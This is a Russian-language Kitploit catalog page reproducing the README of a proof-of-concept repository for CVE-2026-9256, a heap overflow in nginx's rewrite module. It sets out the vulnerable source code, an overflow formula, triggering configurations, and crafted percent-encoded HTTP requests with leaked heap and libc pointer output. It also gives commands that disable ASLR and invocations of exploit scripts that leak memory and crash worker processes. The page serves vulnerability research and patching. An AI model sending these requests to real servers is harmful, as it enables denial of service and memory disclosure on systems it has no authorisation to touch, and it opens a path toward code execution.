Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-9256-Poc — Демонстрирует переполнение буфера в куче CVE-2026-9256 в ngx_http_rewrite_module nginx с PoC-скриптами для утечек кучи/libc и сбоя рабочего процесса. | Kitploit
Инструменты/GitHubGitHub/3nou9h/cve-2026-9256-poc
Криминалистика памятиАнализ уязвимостейЭксплуатацияВеб-безопасностьОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHub3nou9h/cve-2026-9256-poc

CVE-2026-9256-Poc

Демонстрирует переполнение буфера в куче CVE-2026-9256 в ngx_http_rewrite_module nginx с PoC-скриптами для утечек кучи/libc и сбоя рабочего процесса.

Репозиторий
3153 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

nginx ngx_http_rewrite_module Переполнение буфера в куче

Описание

nginx Plus и nginx Open Source ngx_http_rewrite_module содержат уязвимость переполнения буфера в куче. Когда директива rewrite использует регулярное выражение с несколькими перекрывающимися группами захвата PCRE (например, ^/((.*))$) и замену, ссылающуюся на несколько захватов (например, $1&y=$2), вычисление размера буфера статического пути занижает необходимый объём памяти, в результате чего фактическая запись превышает выделенный размер (Pool Slip).

Неавторизованный злоумышленник может вызвать это с помощью специально сформированного HTTP-запроса, что приводит к переполнению буфера в куче в рабочем процессе. Если ASLR отключён или может быть обойдён, возможно выполнение кода.

Корневая причина

Файл: src/http/ngx_http_script.c:1143-1155

root@kitploit:~
if (code->lengths == NULL) {
    e->buf.len = code->size;
    if (code->uri) {
        if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
            // ОШИБКА: издержки экранирования считаются один раз для всего URI
            e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
                                             NGX_ESCAPE_ARGS);
        }
    }
    for (n = 2; n < r->ncaptures; n += 2) {
        e->buf.len += r->captures[n + 1] - r->captures[n];  // исходная длина
    }
}

Каждый $N экранируется независимо во время копирования (ngx_http_script.c:1397-1401). Вложенные захваты приводят к двойному экранированию одной и той же подстроки, удваивая стоимость экранирования, но при выделении памяти это учитывается только один раз.

Формула переполнения (2-уровневая вложенность ((.+)), длина URI = Q (+ символов)):

root@kitploit:~
выделено   = code_size + 2*Q + 2*(Q+1)
фактически = code_size + 2*(3*Q + 1)
переполнение = 2*Q  (точно управляемо)

Условия срабатывания (требуются все три):

Тестовая среда

Требования

  • Docker (с docker compose)
  • Python 3 (без сторонних зависимостей)

Структура каталогов

root@kitploit:~
.
├── env/
│   ├── Dockerfile                 # На основе nginx:1.31.0
│   ├── docker-compose.yml         # Конфигурация контейнера (SYS_PTRACE)
│   ├── entrypoint.sh              # ASLR включён (по умолчанию)
│   ├── entrypoint_aslr_off.sh     # ASLR выключен (для libc_leak)
│   └── nginx.conf                 # Уязвимая конфигурация
├── heap_leak.py                   # PoC heap_leak
├── libc_leak.py                   # PoC libc_leak
├── crash_verify.py                # PoC crash_verify
├── LICENSE
└── README.md

Сборка и запуск

root@kitploit:~
cd env/

# Загрузить базовый образ (~200MB)
docker pull nginx:1.31.0

# Собрать и запустить
docker compose up --build -d

# Проверка
curl -s http://127.0.0.1:19321/
# Ожидается: ok

Часто используемые команды

root@kitploit:~
# Просмотр логов nginx (информация о сбое)
docker compose logs -f

# Остановить и удалить
docker compose down

# Перезапустить (после сбоя)
docker compose restart

ASLR

Проверка текущего состояния:

root@kitploit:~
cat /proc/sys/kernel/randomize_va_space
# 0 = выключен, 1 = частичный, 2 = полный

heap_leak и crash_verify работают независимо от ASLR. libc_leak требует отключения ASLR на хосте:

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart

Альтернативно, отключите ASLR только для процесса nginx (без привилегий на хосте): скопируйте entrypoint_aslr_off.sh поверх entrypoint.sh, затем docker compose up --build -d.

Примечание: контейнеры используют ядро хоста. randomize_va_space должен быть установлен на хосте.

Подтверждённые результаты

Утечка указателя кучи

Требуемая конфигурация:

root@kitploit:~
location /echo/ {
    rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
    internal;
    default_type text/plain;
    return 200 "x=$arg_x\ny=$arg_y\n";
}

Механизм: Pool Slip приводит к тому, что ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) попадает в зону переполнения. Инициализированные поля движка скриптов (e->ip, e->sp, e->request) просачиваются в строку запроса переписанного URI и отображаются через return 200 "$arg_y".

Запрос:

root@kitploit:~
GET /echo/%25%25%25%25%25A HTTP/1.0

Подтверждённый результат (nginx:1.31.0, ASLR включён):

root@kitploit:~
e->ip      = 0x00006544dec82430  (массив кодов пула конфигурации)
e->sp      = 0x00006544dec5ada0  (стек скриптов пула запросов)
e->request = 0x00006544dec58880  (структура запроса)

Что утекает: Необработанные указатели кучи в адресном пространстве рабочего процесса nginx.

PoC: heap_leak.py


Утечка указателя диапазона libc

Требуемая конфигурация:

root@kitploit:~
location /leak2/ {
    rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
    internal;
    proxy_pass http://backend;           # должен быть доступен
    add_header X-Leak-Y "$arg_y" always;
}

Механизм: proxy_pass запускает инициализацию вышестоящего сервера. Структуры вышестоящего сервера, содержащие указатели на библиотечные функции, размещаются в зоне переполнения. add_header "$arg_y" записывает необработанные байты в заголовок ответа.

Запрос:

root@kitploit:~
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0

Подтверждённый результат (nginx:1.31.0, ASLR выключен, request_pool_size=7920):

root@kitploit:~
leaked ptr = 0x00007fbfc3b7c346

Что утекает: Необработанный указатель в диапазоне 0x7f... (область загрузки libc). Чтобы вычислить базовый адрес libc, прочитайте /proc/<pid>/maps на целевой системе и вычислите leaked_ptr - libc_base.

Зависимость от ASLR: Этот этап требует выключенного ASLR. Утекший указатель происходит из метаданных освобождённого блока (fd/bk → main_arena). При включённом ASLR смещение освобождённого блока варьируется, и небольшие переполнения не могут надёжно до него добраться.

PoC: libc_leak.py


Более простой альтернативный метод: Использование режима redirect (rewrite ^/r/((.*))$ http://.../?$1$2 redirect;), заголовок Location напрямую выводит необработанные байты переполнения без проблем с кодировкой символов. Один запрос может привести к утечке указателей кучи (Q=10~450) или вызвать сбой (Q >= 500), без необходимости в proxy_pass или специальном pool_size.


Сбой рабочего процесса (DoS)

Требуемая конфигурация:

root@kitploit:~
location /leak9/ {
    rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
    internal;
    default_type text/plain;
    return 200 "i=$arg_i\n";
}

Механизм: Вложенность 9 уровней даёт переполнение = 16Q (против 2Q для 2 уровней). При request_pool_size=7920, Q=123 выходит за границу блока пула, перезаписывая метаданные соседнего блока malloc. glibc обнаруживает повреждение и завершает рабочий процесс. Мастер автоматически перезапускает.

Запрос:

root@kitploit:~
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0

Подтверждённый результат (nginx:1.31.0, request_pool_size=7920):

root@kitploit:~
Q=122: нормальный ответ  (переполнение=1952B)
Q=123: нет ответа, nginx error.log:
  corrupted size vs. prev_size
  worker process XX exited on signal 6 (core dumped)
Воспроизведено 5/5 раз.

Вложенность vs pool_size: N уровней дают переполнение = (N-1)*2*Q. Значение pool_size по умолчанию 4096 с 9 уровнями вложенности достаточно для сбоя. Больший pool_size требует меньшего количества уровней для заданного Q.

PoC: crash_verify.py

Запуск PoC

root@kitploit:~
# Этап 1: Утечка указателя кучи
python3 heap_leak.py 127.0.0.1 19321

# Этап 2: Утечка указателя диапазона libc (требуется выключенный ASLR)
python3 libc_leak.py 127.0.0.1 19321

# Этап 3: DoS-сбой
python3 crash_verify.py 127.0.0.1 19321

Отказ от ответственности

Данное доказательство концепции предоставлено исключительно для образовательных целей и целей авторизованного исследования безопасности. Несанкционированное использование запрещено.

Скачать инструмент
УсловиеПодробности
Нет именованных переменных, нет повторяющихся $NСтатический путь (sc.variables==0 && !sc.dup_capture)
Вложенная группа захвата в регулярном выраженииНапример, ((.+)) делает $1 и $2 совпадающими с одинаковым содержимым
+ или %XX в URIЗапускает путь экранирования (plus_in_uri или quoted_uri)